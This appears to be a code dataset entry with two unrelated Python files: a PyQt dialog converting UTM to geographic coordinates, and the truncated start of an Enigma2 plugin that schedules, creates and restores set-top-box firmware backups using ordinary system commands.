def __init__(self, parent=None):
'''
Constructor
'''
super(UTM2Geo, self).__init__()
#Se carga el formulario para el controlador.
self.__rutaroot=normpath(getcwd() + sep + pardir)
uic.loadUi(self.__rutaroot+'/Formularios/UTM2Geo.ui', self)
self.__msgBoxErr=QtGui.QMessageBox()
self.__msgBoxErr.setWindowTitle("ERROR")
self.__CargarElipsoides()
self.__tabChanged()
self.__setPrecision()
self.connect(self.pushButton, QtCore.SIGNAL("clicked()"), self.Calcular)
self.connect(self.pushButton_4, QtCore.SIGNAL("clicked()"), self.launch)
self.connect(self.tabWidget, QtCore.SIGNAL("currentChanged (int)"), self.__tabChanged)
self.connect(self.pushButton_2, QtCore.SIGNAL("clicked()"), self.AbrirFicheroUTM)
self.connect(self.pushButton_3, QtCore.SIGNAL("clicked()"), self.AbrirFicheroGeo)
self.connect(self.spinBox_2, QtCore.SIGNAL("valueChanged (int)"), self.__setPrecision)
self.connect(self.spinBox_3, QtCore.SIGNAL("valueChanged (int)"), self.__setPrecision)
self.connect(self.spinBox_4, QtCore.SIGNAL("valueChanged (int)"), self.__setPrecision)
self.connect(self.spinBox_5, QtCore.SIGNAL("valueChanged (int)"), self.__setPrecision)
def __CargarElipsoides(self):
'''!
'''
import BasesDeDatos.SQLite.SQLiteManager
try:
db=BasesDeDatos.SQLite.SQLiteManager.SQLiteManager(self.__rutaroot+'/Geodesia/Elipsoides/Elipsoides.db')
Nombres=db.ObtenerColumna('Elipsoides','Nombre')
Nombres=[i[0] for i in Nombres]
Nombres.sort()
self.comboBox.addItems(Nombres)
self.comboBox.setCurrentIndex(28)
self.comboBox_2.addItems(Nombres)
self.comboBox_2.setCurrentIndex(28)
except Exception as e:
self.__msgBoxErr.setText(e.__str__())
self.__msgBoxErr.exec_()
return
def Calcular(self):
'''!
'''
putm=None
if self.lineEdit.text()=="":
self.__msgBoxErr.setText("Debe introducir un valor para la X UTM.")
self.__msgBoxErr.exec_()
return
if self.lineEdit_2.text()=="":
self.__msgBoxErr.setText("Debe introducir un valor para la Y UTM.")
self.__msgBoxErr.exec_()
return
try:
putm=Geometrias.PuntoUTM.PuntoUTM(self.lineEdit.text(),self.lineEdit_2.text(),huso=self.spinBox.value())
except Exception as e:
self.__msgBoxErr.setText(e.__str__())
self.__msgBoxErr.exec_()
return
Sal=None
try:
Sal=Proyecciones.UTM2Geo.UTM2Geo(putm, self.comboBox.currentText())
self.lineEdit_3.setText(str(round(Sal.getLatitud(),self.__pLat)))
self.lineEdit_4.setText(str(round(Sal.getLongitud(),self.__pLon)))
self.lineEdit_5.setText(str(round(putm.getConvergenciaMeridianos(),self.__pw)))
self.lineEdit_6.setText(str(putm.getEscalaLocalPunto()))
try:
self.lineEdit_7.setText(str(round(Geodesia.EGM.CalcularOndulacion.CalcularOndulacion(Sal),self.__pN)))
except:
self.lineEdit_7.setText("")
except Exception as e:
self.__msgBoxErr.setText(e.__str__())
self.__msgBoxErr.exec_()
return
def AbrirFicheroUTM(self):
'''!
'''
ruta = QtGui.QFileDialog.getOpenFileName(self, 'Abrir Archivo', '.')
self.lineEdit_9.setText(ruta)
def AbrirFicheroGeo(self):
'''!
'''
ruta = QtGui.QFileDialog.getSaveFileName(self, 'Guadar Archivo', '.')
self.lineEdit_10.setText(ruta)
def launch(self):
'''!
'''
QtCore.QThread(self.CalcularArchivo()).exec_()
def CalcularArchivo(self):
'''!
'''
pd=QtGui.QProgressDialog()
if self.lineEdit_9.text()=="":
self.__msgBoxErr.setText("Debe introducir un fichero de coordenadas UTM.")
self.__msgBoxErr.exec_()
return
if self.lineEdit_10.text()=="":
self.__msgBoxErr.setText("Debe introducir un fichero de salida para las coordenadas Geodesicas")
self.__msgBoxErr.exec_()
return
#Formato del fichero de coordenadas Geodesicas.
#ID,X,Y,posY,Huso,helip(opcional)
pd.show()
pd.setLabelText("Tarea 1..2 Procesando el fichero.")
try:
QtGui.QApplication.processEvents()
sal=Proyecciones.UTM2Geo.UTM2GeoFromFile(self.lineEdit_9.text(), self.comboBox_2.currentText())
except Exception as e:
self.__msgBoxErr.setText(e.__str__())
self.__msgBoxErr.exec_()
return
pg=QtGui.QProgressBar(pd)
pd.setBar(pg)
pg.setMinimum(0)
pg.setMaximum(len(sal))
g=open(self.lineEdit_10.text(),'w')
pd.setLabelText("Tarea 2..2 Escribiendo nuevo fichero.")
cont=0
pg.show()
for i in sal:
QtGui.QApplication.processEvents()
line=""
line+=i[0]+","
line+=str(round(i[2].getLatitud(),self.__pLat))+","
line+=str(round(i[2].getLongitud(),self.__pLon))+","
h=i[2].getAlturaElipsoidal()
if h==None:
line+","
else:
line+=str(h)+","
line+=str(i[1].getHuso())+","
line+=str(round(i[1].getConvergenciaMeridianos(),self.__pw))+","
line+=str(round(i[1].getEscalaLocalPunto(),self.__pw))+","
line+=str(i[1].getZonaUTM())+"\n"
g.write(line)
pg.setValue(cont)
cont+=1
g.close()
pg.hide()
def __setPrecision(self):
'''!
'''
self.__pLat=self.spinBox_2.value()
self.__pLon=self.spinBox_3.value()
self.__pw=self.spinBox_4.value()
self.__pN=self.spinBox_5.value()
def __tabChanged(self):
'''!
'''
if self.tabWidget.currentIndex()==0:
self.setFixedSize ( 319, 490)
elif self.tabWidget.currentIndex()==1:
self.setFixedSize ( 562, 272)
pass
elif self.tabWidget.currentIndex()==2:
self.setFixedSize ( 354, 202)
pass
if __name__ == "__main__":
#arranque del programa.
app = QtGui.QApplication(sys.argv)#requerido en todas las aplicaciones con cuadros de diálogo.
dlg=UTM2Geo()#creo un objeto de nuestro controlador del cuadro.
dlg.show()
## dlg.exec_()
sys.exit(app.exec_())#Requerido. Al cerrar el cuadro termina la aplicación
app.close()
|
tonihr/pyGeo
|
Controladores/UTM2Geo.py
|
Python
|
gpl-2.0
| 7,615
|
# for localized messages
from boxbranding import getBoxType, getImageType, getImageDistro, getImageVersion, getImageBuild, getImageFolder, getImageFileSystem, getBrandOEM, getMachineBrand, getMachineName, getMachineBuild, getMachineMake, getMachineMtdRoot, getMachineRootFile, getMachineMtdKernel, getMachineKernelFile, getMachineMKUBIFS, getMachineUBINIZE
from os import path, system, mkdir, makedirs, listdir, remove, statvfs, chmod, walk, symlink, unlink
from shutil import rmtree, move, copy
from time import localtime, time, strftime, mktime
from enigma import eTimer
from . import _
import Components.Task
from Components.ActionMap import ActionMap
from Components.Label import Label
from Components.Button import Button
from Components.MenuList import MenuList
from Components.Sources.StaticText import StaticText
from Components.SystemInfo import SystemInfo
from Components.config import config, ConfigSubsection, ConfigYesNo, ConfigSelection, ConfigText, ConfigNumber, NoSave, ConfigClock
from Components.Harddisk import harddiskmanager, getProcMounts
from Screens.Screen import Screen
from Screens.Setup import Setup
from Components.Console import Console
from Screens.Console import Console as ScreenConsole
from Screens.MessageBox import MessageBox
from Screens.Standby import TryQuitMainloop
from Tools.Notifications import AddPopupWithCallback
import urllib
from os import rename, path, remove
RAMCHEKFAILEDID = 'RamCheckFailedNotification'
hddchoises = []
for p in harddiskmanager.getMountedPartitions():
if path.exists(p.mountpoint):
d = path.normpath(p.mountpoint)
if p.mountpoint != '/':
hddchoises.append((p.mountpoint, d))
config.imagemanager = ConfigSubsection()
defaultprefix = getImageDistro() + '-' + getBoxType()
config.imagemanager.folderprefix = ConfigText(default=defaultprefix, fixed_size=False)
config.imagemanager.backuplocation = ConfigSelection(choices=hddchoises)
config.imagemanager.schedule = ConfigYesNo(default=False)
config.imagemanager.scheduletime = ConfigClock(default=0) # 1:00
config.imagemanager.repeattype = ConfigSelection(default="daily", choices=[("daily", _("Daily")), ("weekly", _("Weekly")), ("monthly", _("30 Days"))])
config.imagemanager.backupretry = ConfigNumber(default=30)
config.imagemanager.backupretrycount = NoSave(ConfigNumber(default=0))
config.imagemanager.nextscheduletime = NoSave(ConfigNumber(default=0))
config.imagemanager.restoreimage = NoSave(ConfigText(default=getBoxType(), fixed_size=False))
autoImageManagerTimer = None
if path.exists(config.imagemanager.backuplocation.value + 'imagebackups/imagerestore'):
try:
rmtree(config.imagemanager.backuplocation.value + 'imagebackups/imagerestore')
except:
pass
def ImageManagerautostart(reason, session=None, **kwargs):
"""called with reason=1 to during /sbin/shutdown.sysvinit, with reason=0 at startup?"""
global autoImageManagerTimer
global _session
now = int(time())
if reason == 0:
print "[ImageManager] AutoStart Enabled"
if session is not None:
_session = session
if autoImageManagerTimer is None:
autoImageManagerTimer = AutoImageManagerTimer(session)
else:
if autoImageManagerTimer is not None:
print "[ImageManager] Stop"
autoImageManagerTimer.stop()
class VIXImageManager(Screen):
def __init__(self, session):
Screen.__init__(self, session)
Screen.setTitle(self, _("Image Manager"))
self['lab1'] = Label()
self["backupstatus"] = Label()
if SystemInfo["HaveMultiBoot"]:
self["key_blue"] = Button(_("Unavailable"))
else:
self["key_blue"] = Button(_("Restore"))
self["key_green"] = Button()
self["key_yellow"] = Button(_("Downloads"))
self["key_red"] = Button(_("Delete"))
self.BackupRunning = False
self.onChangedEntry = []
self.oldlist = None
self.emlist = []
self['list'] = MenuList(self.emlist)
self.populate_List()
self.activityTimer = eTimer()
self.activityTimer.timeout.get().append(self.backupRunning)
self.activityTimer.start(10)
self.Console = Console()
if BackupTime > 0:
t = localtime(BackupTime)
backuptext = _("Next Backup: ") + strftime(_("%a %e %b %-H:%M"), t)
else:
backuptext = _("Next Backup: ")
self["backupstatus"].setText(str(backuptext))
if not self.selectionChanged in self["list"].onSelectionChanged:
self["list"].onSelectionChanged.append(self.selectionChanged)
def createSummary(self):
from Screens.PluginBrowser import PluginBrowserSummary
return PluginBrowserSummary
def selectionChanged(self):
item = self["list"].getCurrent()
desc = self["backupstatus"].text
if item:
name = item
else:
name = ""
for cb in self.onChangedEntry:
cb(name, desc)
def backupRunning(self):
self.populate_List()
self.BackupRunning = False
for job in Components.Task.job_manager.getPendingJobs():
if job.name.startswith(_("Image Manager")):
self.BackupRunning = False
if getMachineBuild() in ('vusolo4k','hd51','hd52'):
self["key_green"].setText(_("Unavailable"))
else:
self["key_green"].setText(_("New Backup"))
self.activityTimer.startLongTimer(5)
def refreshUp(self):
self.refreshList()
if self['list'].getCurrent():
self["list"].instance.moveSelection(self["list"].instance.moveUp)
def refreshDown(self):
self.refreshList()
if self['list'].getCurrent():
self["list"].instance.moveSelection(self["list"].instance.moveDown)
def refreshList(self):
images = listdir(self.BackupDirectory)
self.oldlist = images
del self.emlist[:]
for fil in images:
if fil.endswith('.zip') or path.isdir(path.join(self.BackupDirectory, fil)):
self.emlist.append(fil)
self.emlist.sort()
self.emlist.reverse()
self["list"].setList(self.emlist)
self["list"].show()
def getJobName(self, job):
return "%s: %s (%d%%)" % (job.getStatustext(), job.name, int(100 * job.progress / float(job.end)))
def showJobView(self, job):
from Screens.TaskView import JobView
Components.Task.job_manager.in_background = False
self.session.openWithCallback(self.JobViewCB, JobView, job, cancelable=False, backgroundable=False, afterEventChangeable=False, afterEvent="close")
def JobViewCB(self, in_background):
Components.Task.job_manager.in_background = in_background
def populate_List(self):
imparts = []
for p in harddiskmanager.getMountedPartitions():
if path.exists(p.mountpoint):
d = path.normpath(p.mountpoint)
if p.mountpoint != '/':
imparts.append((p.mountpoint, d))
config.imagemanager.backuplocation.setChoices(imparts)
if config.imagemanager.backuplocation.value.endswith('/'):
mount = config.imagemanager.backuplocation.value, config.imagemanager.backuplocation.value[:-1]
else:
mount = config.imagemanager.backuplocation.value + '/', config.imagemanager.backuplocation.value
hdd = '/media/hdd/', '/media/hdd'
if mount not in config.imagemanager.backuplocation.choices.choices:
if hdd in config.imagemanager.backuplocation.choices.choices:
self['myactions'] = ActionMap(['ColorActions', 'OkCancelActions', 'DirectionActions', "MenuActions", "HelpActions"],
{
"ok": self.keyResstore,
'cancel': self.close,
'red': self.keyDelete,
'green': self.GreenPressed,
'yellow': self.doDownload,
'blue': self.keyResstore,
"menu": self.createSetup,
"up": self.refreshUp,
"down": self.refreshDown,
"displayHelp": self.doDownload,
}, -1)
self.BackupDirectory = '/media/hdd/imagebackups/'
config.imagemanager.backuplocation.value = '/media/hdd/'
config.imagemanager.backuplocation.save()
self['lab1'].setText(_("The chosen location does not exist, using /media/hdd") + "\n" + _("Select an image to restore:"))
else:
self['myactions'] = ActionMap(['ColorActions', 'OkCancelActions', 'DirectionActions', "MenuActions"],
{
'cancel': self.close,
"menu": self.createSetup,
}, -1)
self['lab1'].setText(_("Device: None available") + "\n" + _("Select an image to restore:"))
else:
self['myactions'] = ActionMap(['ColorActions', 'OkCancelActions', 'DirectionActions', "MenuActions", "HelpActions"],
{
'cancel': self.close,
'red': self.keyDelete,
'green': self.GreenPressed,
'yellow': self.doDownload,
'blue': self.keyResstore,
"menu": self.createSetup,
"up": self.refreshUp,
"down": self.refreshDown,
"displayHelp": self.doDownload,
"ok": self.keyResstore,
}, -1)
self.BackupDirectory = config.imagemanager.backuplocation.value + 'imagebackups/'
s = statvfs(config.imagemanager.backuplocation.value)
free = (s.f_bsize * s.f_bavail) / (1024 * 1024)
self['lab1'].setText(_("Device: ") + config.imagemanager.backuplocation.value + ' ' + _('Free space:') + ' ' + str(free) + _('MB') + "\n" + _("Select an image to restore:"))
try:
if not path.exists(self.BackupDirectory):
mkdir(self.BackupDirectory, 0755)
if path.exists(self.BackupDirectory + config.imagemanager.folderprefix.value + '-' + getImageType() + '-swapfile_backup'):
system('swapoff ' + self.BackupDirectory + config.imagemanager.folderprefix.value + '-' + getImageType() + '-swapfile_backup')
remove(self.BackupDirectory + config.imagemanager.folderprefix.value + '-' + getImageType() + '-swapfile_backup')
self.refreshList()
except:
self['lab1'].setText(_("Device: ") + config.imagemanager.backuplocation.value + "\n" + _("there is a problem with this device, please reformat and try again."))
def createSetup(self):
self.session.openWithCallback(self.setupDone, Setup, 'viximagemanager', 'SystemPlugins/ViX')
def doDownload(self):
self.session.openWithCallback(self.populate_List, ImageManagerDownload, self.BackupDirectory)
def setupDone(self, test=None):
if config.imagemanager.folderprefix.value == '':
config.imagemanager.folderprefix.value = defaultprefix
config.imagemanager.folderprefix.save()
self.populate_List()
self.doneConfiguring()
def doneConfiguring(self):
now = int(time())
if config.imagemanager.schedule.value:
if autoImageManagerTimer is not None:
print "[ImageManager] Backup Schedule Enabled at", strftime("%c", localtime(now))
autoImageManagerTimer.backupupdate()
else:
if autoImageManagerTimer is not None:
global BackupTime
BackupTime = 0
print "[ImageManager] Backup Schedule Disabled at", strftime("%c", localtime(now))
autoImageManagerTimer.backupstop()
if BackupTime > 0:
t = localtime(BackupTime)
backuptext = _("Next Backup: ") + strftime(_("%a %e %b %-H:%M"), t)
else:
backuptext = _("Next Backup: ")
self["backupstatus"].setText(str(backuptext))
def keyDelete(self):
self.sel = self['list'].getCurrent()
if self.sel:
message = _("Are you sure you want to delete this backup:\n ") + self.sel
ybox = self.session.openWithCallback(self.doDelete, MessageBox, message, MessageBox.TYPE_YESNO, default=False)
ybox.setTitle(_("Remove Confirmation"))
else:
self.session.open(MessageBox, _("You have no image to delete."), MessageBox.TYPE_INFO, timeout=10)
def doDelete(self, answer):
if answer is True:
self.sel = self['list'].getCurrent()
self["list"].instance.moveSelectionTo(0)
if self.sel.endswith('.zip'):
remove(self.BackupDirectory + self.sel)
else:
rmtree(self.BackupDirectory + self.sel)
self.populate_List()
def GreenPressed(self):
backup = None
self.BackupRunning = False
for job in Components.Task.job_manager.getPendingJobs():
if job.name.startswith(_("Image Manager")):
backup = job
self.BackupRunning = True
if self.BackupRunning and backup:
self.showJobView(backup)
else:
self.keyBackup()
def keyBackup(self):
self.sel = self['list'].getCurrent()
if getMachineBuild() in ('vusolo4k','hd51','hd52'):
self.session.open(MessageBox, _("Sorry function not yet supported in this model"), MessageBox.TYPE_INFO, timeout=10)
elif self.sel:
message = _("Are you ready to create a backup image ?")
ybox = self.session.openWithCallback(self.doBackup, MessageBox, message, MessageBox.TYPE_YESNO)
ybox.setTitle(_("Backup Confirmation"))
def doBackup(self, answer):
backup = None
if answer is True:
self.ImageBackup = ImageBackup(self.session)
Components.Task.job_manager.AddJob(self.ImageBackup.createBackupJob())
self.BackupRunning = True
self["key_green"].setText(_("View Progress"))
self["key_green"].show()
for job in Components.Task.job_manager.getPendingJobs():
if job.name.startswith(_("Image Manager")):
backup = job
if backup:
self.showJobView(backup)
def keyResstore(self):
self.sel = self['list'].getCurrent()
if getMachineBuild() in ('vusolo4k','hd51','hd52'):
self.session.open(MessageBox, _("Sorry function not yet supported in this model - Try Image Flasher"), MessageBox.TYPE_INFO, timeout=10)
elif self.sel:
message = _("Are you sure you want to restore this image:\n ") + self.sel
ybox = self.session.openWithCallback(self.keyResstore2, MessageBox, message, MessageBox.TYPE_YESNO)
ybox.setTitle(_("Restore Confirmation"))
else:
self.session.open(MessageBox, _("You have no image to restore."), MessageBox.TYPE_INFO, timeout=10)
def keyResstore2(self, answer):
if path.islink('/tmp/imagerestore'):
unlink('/tmp/imagerestore')
if answer:
self.session.open(MessageBox, _("Please wait while the restore prepares"), MessageBox.TYPE_INFO, timeout=60, enable_input=False)
TEMPDESTROOT = self.BackupDirectory + 'imagerestore'
if self.sel.endswith('.zip'):
if not path.exists(TEMPDESTROOT):
mkdir(TEMPDESTROOT, 0755)
self.Console.ePopen('unzip -o ' + self.BackupDirectory + self.sel + ' -d ' + TEMPDESTROOT, self.keyResstore3)
symlink(TEMPDESTROOT, '/tmp/imagerestore')
else:
symlink(self.BackupDirectory + self.sel, '/tmp/imagerestore')
self.keyResstore3(0, 0)
def keyResstore3(self, result, retval, extra_args=None):
if retval == 0:
kernelMTD = getMachineMtdKernel()
kernelFILE = getMachineKernelFile()
rootMTD = getMachineMtdRoot()
rootFILE = getMachineRootFile()
MAINDEST = '/tmp/imagerestore/' + getImageFolder() + '/'
config.imagemanager.restoreimage.setValue(self.sel)
self.Console.ePopen('ofgwrite -r -k -r' + rootMTD + ' -k' + kernelMTD + ' ' + MAINDEST)
class AutoImageManagerTimer:
def __init__(self, session):
self.session = session
self.backuptimer = eTimer()
self.backuptimer.callback.append(self.BackuponTimer)
self.backupactivityTimer = eTimer()
self.backupactivityTimer.timeout.get().append(self.backupupdatedelay)
now = int(time())
global BackupTime
if config.imagemanager.schedule.value:
print "[ImageManager] Backup Schedule Enabled at ", strftime("%c", localtime(now))
if now > 1262304000:
self.backupupdate()
else:
print "[ImageManager] Backup Time not yet set."
BackupTime = 0
self.backupactivityTimer.start(36000)
else:
BackupTime = 0
print "[ImageManager] Backup Schedule Disabled at", strftime("(now=%c)", localtime(now))
self.backupactivityTimer.stop()
def backupupdatedelay(self):
self.backupactivityTimer.stop()
self.backupupdate()
def getBackupTime(self):
backupclock = config.imagemanager.scheduletime.value
nowt = time()
now = localtime(nowt)
return int(mktime((now.tm_year, now.tm_mon, now.tm_mday, backupclock[0], backupclock[1], 0, now.tm_wday, now.tm_yday, now.tm_isdst)))
def backupupdate(self, atLeast=0):
self.backuptimer.stop()
global BackupTime
BackupTime = self.getBackupTime()
now = int(time())
if BackupTime > 0:
if BackupTime < now + atLeast:
if config.imagemanager.repeattype.value == "daily":
BackupTime += 24 * 3600
while (int(BackupTime) - 30) < now:
BackupTime += 24 * 3600
elif config.imagemanager.repeattype.value == "weekly":
BackupTime += 7 * 24 * 3600
while (int(BackupTime) - 30) < now:
BackupTime += 7 * 24 * 3600
elif config.imagemanager.repeattype.value == "monthly":
BackupTime += 30 * 24 * 3600
while (int(BackupTime) - 30) < now:
BackupTime += 30 * 24 * 3600
next = BackupTime - now
self.backuptimer.startLongTimer(next)
else:
BackupTime = -1
print "[ImageManager] Backup Time set to", strftime("%c", localtime(BackupTime)), strftime("(now=%c)", localtime(now))
return BackupTime
def backupstop(self):
self.backuptimer.stop()
def BackuponTimer(self):
self.backuptimer.stop()
now = int(time())
wake = self.getBackupTime()
# If we're close enough, we're okay...
atLeast = 0
if wake - now < 60:
print "[ImageManager] Backup onTimer occured at", strftime("%c", localtime(now))
from Screens.Standby import inStandby
if not inStandby:
message = _("Your %s %s is about to run a full image backup, this can take about 6 minutes to complete,\ndo you want to allow this?") % (getMachineBrand(), getMachineName())
ybox = self.session.openWithCallback(self.doBackup, MessageBox, message, MessageBox.TYPE_YESNO, timeout=30)
ybox.setTitle('Scheduled Backup.')
else:
print "[ImageManager] in Standby, so just running backup", strftime("%c", localtime(now))
self.doBackup(True)
else:
print '[ImageManager] Where are not close enough', strftime("%c", localtime(now))
self.backupupdate(60)
def doBackup(self, answer):
now = int(time())
if answer is False:
if config.imagemanager.backupretrycount.value < 2:
print '[ImageManager] Number of retries', config.imagemanager.backupretrycount.value
print "[ImageManager] Backup delayed."
repeat = config.imagemanager.backupretrycount.value
repeat += 1
config.imagemanager.backupretrycount.setValue(repeat)
BackupTime = now + (int(config.imagemanager.backupretry.value) * 60)
print "[ImageManager] Backup Time now set to", strftime("%c", localtime(BackupTime)), strftime("(now=%c)", localtime(now))
self.backuptimer.startLongTimer(int(config.imagemanager.backupretry.value) * 60)
else:
atLeast = 60
print "[ImageManager] Enough Retries, delaying till next schedule.", strftime("%c", localtime(now))
self.session.open(MessageBox, _("Enough Retries, delaying till next schedule."), MessageBox.TYPE_INFO, timeout=10)
config.imagemanager.backupretrycount.setValue(0)
self.backupupdate(atLeast)
else:
print "[ImageManager] Running Backup", strftime("%c", localtime(now))
self.ImageBackup = ImageBackup(self.session)
Components.Task.job_manager.AddJob(self.ImageBackup.createBackupJob())
#self.close()
class ImageBackup(Screen):
def __init__(self, session, updatebackup=False):
Screen.__init__(self, session)
self.Console = Console()
self.BackupDevice = config.imagemanager.backuplocation.value
print "[ImageManager] Device: " + self.BackupDevice
self.BackupDirectory = config.imagemanager.backuplocation.value + 'imagebackups/'
print "[ImageManager] Directory: " + self.BackupDirectory
self.BackupDate = strftime('%Y%m%d_%H%M%S', localtime())
self.WORKDIR = self.BackupDirectory + config.imagemanager.folderprefix.value + '-' + getImageType() + '-temp'
self.TMPDIR = self.BackupDirectory + config.imagemanager.folderprefix.value + '-' + getImageType() + '-mount'
if updatebackup:
self.MAINDESTROOT = self.BackupDirectory + config.imagemanager.folderprefix.value + '-' + getImageType() + '-SoftwareUpdate-' + getImageVersion() + '.' + getImageBuild() + '-' + self.BackupDate
else:
self.MAINDESTROOT = self.BackupDirectory + config.imagemanager.folderprefix.value + '-' + getImageType() + '-' + getImageVersion() + '.' + getImageBuild() + '-' + self.BackupDate
self.kernelMTD = getMachineMtdKernel()
self.kernelFILE = getMachineKernelFile()
self.rootMTD = getMachineMtdRoot()
self.rootFILE = getMachineRootFile()
self.MAINDEST = self.MAINDESTROOT + '/' + getImageFolder() + '/'
print 'MTD: Kernel:',self.kernelMTD
print 'MTD: Root:',self.rootMTD
if getImageFileSystem() == 'ubi':
self.ROOTFSTYPE = 'ubifs'
else:
self.ROOTFSTYPE= 'jffs2'
self.swapdevice = ""
self.RamChecked = False
self.SwapCreated = False
self.Stage1Completed = False
self.Stage2Completed = False
self.Stage3Completed = False
self.Stage4Completed = False
self.Stage5Completed = False
def createBackupJob(self):
job = Components.Task.Job(_("Image Manager"))
task = Components.Task.PythonTask(job, _("Setting Up..."))
task.work = self.JobStart
task.weighting = 5
task = Components.Task.ConditionTask(job, _("Checking Free RAM.."), timeoutCount=10)
task.check = lambda: self.RamChecked
task.weighting = 5
task = Components.Task.ConditionTask(job, _("Creating Swap.."), timeoutCount=120)
task.check = lambda: self.SwapCreated
task.weighting = 5
task = Components.Task.PythonTask(job, _("Backing up Root file system..."))
task.work = self.doBackup1
task.weighting = 5
task = Components.Task.ConditionTask(job, _("Backing up Root file system..."), timeoutCount=900)
task.check = lambda: self.Stage1Completed
task.weighting = 35
task = Components.Task.PythonTask(job, _("Backing up Kernel..."))
task.work = self.doBackup2
task.weighting = 5
task = Components.Task.ConditionTask(job, _("Backing up Kernel..."), timeoutCount=900)
task.check = lambda: self.Stage2Completed
task.weighting = 15
task = Components.Task.PythonTask(job, _("Removing temp mounts..."))
task.work = self.doBackup3
task.weighting = 5
task = Components.Task.ConditionTask(job, _("Removing temp mounts..."), timeoutCount=900)
task.check = lambda: self.Stage3Completed
task.weighting = 5
task = Components.Task.PythonTask(job, _("Moving to Backup Location..."))
task.work = self.doBackup4
task.weighting = 5
task = Components.Task.ConditionTask(job, _("Moving to Backup Location..."), timeoutCount=900)
task.check = lambda: self.Stage4Completed
task.weighting = 5
task = Components.Task.PythonTask(job, _("Creating zip..."))
task.work = self.doBackup5
task.weighting = 5
task = Components.Task.ConditionTask(job, _("Creating zip..."), timeoutCount=900)
task.check = lambda: self.Stage5Completed
task.weighting = 5
task = Components.Task.PythonTask(job, _("Backup Complete..."))
task.work = self.BackupComplete
task.weighting = 5
return job
def JobStart(self):
try:
if not path.exists(self.BackupDirectory):
mkdir(self.BackupDirectory, 0755)
if path.exists(self.BackupDirectory + config.imagemanager.folderprefix.value + '-' + getImageType() + "-swapfile_backup"):
system('swapoff ' + self.BackupDirectory + config.imagemanager.folderprefix.value + '-' + getImageType() + "-swapfile_backup")
remove(self.BackupDirectory + config.imagemanager.folderprefix.value + '-' + getImageType() + "-swapfile_backup")
except Exception, e:
print str(e)
print "Device: " + config.imagemanager.backuplocation.value + ", i don't seem to have write access to this device."
s = statvfs(self.BackupDevice)
free = (s.f_bsize * s.f_bavail) / (1024 * 1024)
if int(free) < 200:
AddPopupWithCallback(self.BackupComplete,
_("The backup location does not have enough free space." + "\n" + self.BackupDevice + "only has " + str(free) + "MB free."),
MessageBox.TYPE_INFO,
10,
'RamCheckFailedNotification'
)
else:
self.MemCheck()
def MemCheck(self):
memfree = 0
swapfree = 0
f = open('/proc/meminfo', 'r')
for line in f.readlines():
if line.find('MemFree') != -1:
parts = line.strip().split()
memfree = int(parts[1])
elif line.find('SwapFree') != -1:
parts = line.strip().split()
swapfree = int(parts[1])
f.close()
TotalFree = memfree + swapfree
print '[ImageManager] Stage1: Free Mem', TotalFree
if int(TotalFree) < 3000:
supported_filesystems = frozenset(('ext4', 'ext3', 'ext2'))
candidates = []
mounts = getProcMounts()
for partition in harddiskmanager.getMountedPartitions(False, mounts):
if partition.filesystem(mounts) in supported_filesystems:
candidates.append((partition.description, partition.mountpoint))
for swapdevice in candidates:
self.swapdevice = swapdevice[1]
if self.swapdevice:
print '[ImageManager] Stage1: Creating Swapfile.'
self.RamChecked = True
self.MemCheck2()
else:
print '[ImageManager] Sorry, not enough free ram found, and no physical devices that supports SWAP attached'
AddPopupWithCallback(self.BackupComplete,
_("Sorry, not enough free ram found, and no physical devices that supports SWAP attached. Can't create Swapfile on network or fat32 filesystems, unable to make backup"),
MessageBox.TYPE_INFO,
10,
'RamCheckFailedNotification'
)
else:
print '[ImageManager] Stage1: Found Enough Ram'
self.RamChecked = True
self.SwapCreated = True
def MemCheck2(self):
self.Console.ePopen("dd if=/dev/zero of=" + self.swapdevice + config.imagemanager.folderprefix.value + '-' + getImageType() + "-swapfile_backup bs=1024 count=61440", self.MemCheck3)
def MemCheck3(self, result, retval, extra_args=None):
if retval == 0:
self.Console.ePopen("mkswap " + self.swapdevice + config.imagemanager.folderprefix.value + '-' + getImageType() + "-swapfile_backup", self.MemCheck4)
def MemCheck4(self, result, retval, extra_args=None):
if retval == 0:
self.Console.ePopen("swapon " + self.swapdevice + config.imagemanager.folderprefix.value + '-' + getImageType() + "-swapfile_backup", self.MemCheck5)
def MemCheck5(self, result, retval, extra_args=None):
self.SwapCreated = True
def doBackup1(self):
print '[ImageManager] Stage1: Creating tmp folders.', self.BackupDirectory
print '[ImageManager] Stage1: Creating backup Folders.'
if path.exists(self.WORKDIR):
rmtree(self.WORKDIR)
mkdir(self.WORKDIR, 0644)
if path.exists(self.TMPDIR + '/root') and path.ismount(self.TMPDIR + '/root'):
system('umount ' + self.TMPDIR + '/root')
elif path.exists(self.TMPDIR + '/root'):
rmtree(self.TMPDIR + '/root')
if path.exists(self.TMPDIR):
rmtree(self.TMPDIR)
makedirs(self.TMPDIR + '/root', 0644)
makedirs(self.MAINDESTROOT, 0644)
self.commands = []
print '[ImageManager] Stage1: Making Root Image.'
makedirs(self.MAINDEST, 0644)
if self.ROOTFSTYPE == 'jffs2':
print '[ImageManager] Stage1: JFFS2 Detected.'
if getMachineBuild() == 'gb800solo':
JFFS2OPTIONS = " --disable-compressor=lzo -e131072 -l -p125829120"
else:
JFFS2OPTIONS = " --disable-compressor=lzo --eraseblock=0x20000 -n -l"
self.commands.append('mount --bind / ' + self.TMPDIR + '/root')
self.commands.append('mkfs.jffs2 --root=' + self.TMPDIR + '/root --faketime --output=' + self.WORKDIR + '/root.jffs2' + JFFS2OPTIONS)
else:
print '[ImageManager] Stage1: UBIFS Detected.'
UBINIZE = 'ubinize'
UBINIZE_ARGS = getMachineUBINIZE()
MKUBIFS_ARGS = getMachineMKUBIFS()
output = open(self.WORKDIR + '/ubinize.cfg', 'w')
output.write('[ubifs]\n')
output.write('mode=ubi\n')
output.write('image=' + self.WORKDIR + '/root.ubi\n')
output.write('vol_id=0\n')
output.write('vol_type=dynamic\n')
output.write('vol_name=rootfs\n')
output.write('vol_flags=autoresize\n')
output.close()
self.commands.append('mount --bind / ' + self.TMPDIR + '/root')
self.commands.append('touch ' + self.WORKDIR + '/root.ubi')
self.commands.append('mkfs.ubifs -r ' + self.TMPDIR + '/root -o ' + self.WORKDIR + '/root.ubi ' + MKUBIFS_ARGS)
self.commands.append('ubinize -o ' + self.WORKDIR + '/root.ubifs ' + UBINIZE_ARGS + ' ' + self.WORKDIR + '/ubinize.cfg')
self.Console.eBatch(self.commands, self.Stage1Complete, debug=False)
def Stage1Complete(self, extra_args=None):
if len(self.Console.appContainers) == 0:
self.Stage1Completed = True
print '[ImageManager] Stage1: Complete.'
def doBackup2(self):
print '[ImageManager] Stage2: Making Kernel Image.'
